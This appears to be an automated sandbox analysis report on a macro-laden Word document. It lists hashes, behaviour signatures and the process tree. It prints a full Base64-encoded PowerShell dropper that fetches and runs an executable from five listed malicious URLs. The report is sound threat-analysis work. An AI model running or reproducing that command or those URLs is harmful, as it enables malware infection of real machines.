Analysis

  • max time kernel
    104s
  • max time network
    48s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 21:17

General

  • Target

    sample.doc

  • Size

    169KB

  • MD5

    420a90f5c00d78de1053dad31408582c

  • SHA1

    b897f39976bf0eeec833b47558550765cf16df54

  • SHA256

    e49e34bfeed9d527f6a2c80df9f388d89705278aafa1aa2b250556754ac38944

  • SHA512

    e193f40b16fa11240ffc746d0f894d68c200c7641bb393d68f9551e5668d230a4070dbdd62a34daed980cd951f229791d79bb5906efb5c35e295bda685d81e6a

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://manandvanwaterlooville.co.uk/wp-admin/prX892/

exe.dropper

https://uniral.com/captchasignup/4J579681/

exe.dropper

https://scyzm.net/lkx7/lqoH8S/

exe.dropper

https://amagna.nl/DZ9MzAobu3/37Z/

exe.dropper

https://nilinkeji.com/online/90fb31/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1972
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:108

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/108-81-0x000007FEFB671000-0x000007FEFB673000-memory.dmp
      Filesize

      8KB

    • memory/108-85-0x00000000025EB000-0x000000000260A000-memory.dmp
      Filesize

      124KB

    • memory/108-83-0x000007FEF27B0000-0x000007FEF330D000-memory.dmp
      Filesize

      11.4MB

    • memory/108-84-0x00000000025E4000-0x00000000025E7000-memory.dmp
      Filesize

      12KB

    • memory/108-82-0x000007FEF3310000-0x000007FEF3D33000-memory.dmp
      Filesize

      10.1MB

    • memory/1512-86-0x0000000000000000-mapping.dmp
    • memory/1972-70-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-73-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-62-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-64-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-63-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-65-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-66-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-68-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-67-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-69-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-54-0x0000000072161000-0x0000000072164000-memory.dmp
      Filesize

      12KB

    • memory/1972-71-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-72-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-61-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-77-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-76-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-78-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-75-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-79-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-74-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-80-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-60-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-59-0x0000000000517000-0x000000000051B000-memory.dmp
      Filesize

      16KB

    • memory/1972-58-0x0000000075BD1000-0x0000000075BD3000-memory.dmp
      Filesize

      8KB

    • memory/1972-57-0x0000000070BCD000-0x0000000070BD8000-memory.dmp
      Filesize

      44KB

    • memory/1972-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1972-55-0x000000006FBE1000-0x000000006FBE3000-memory.dmp
      Filesize

      8KB

    • memory/1972-88-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB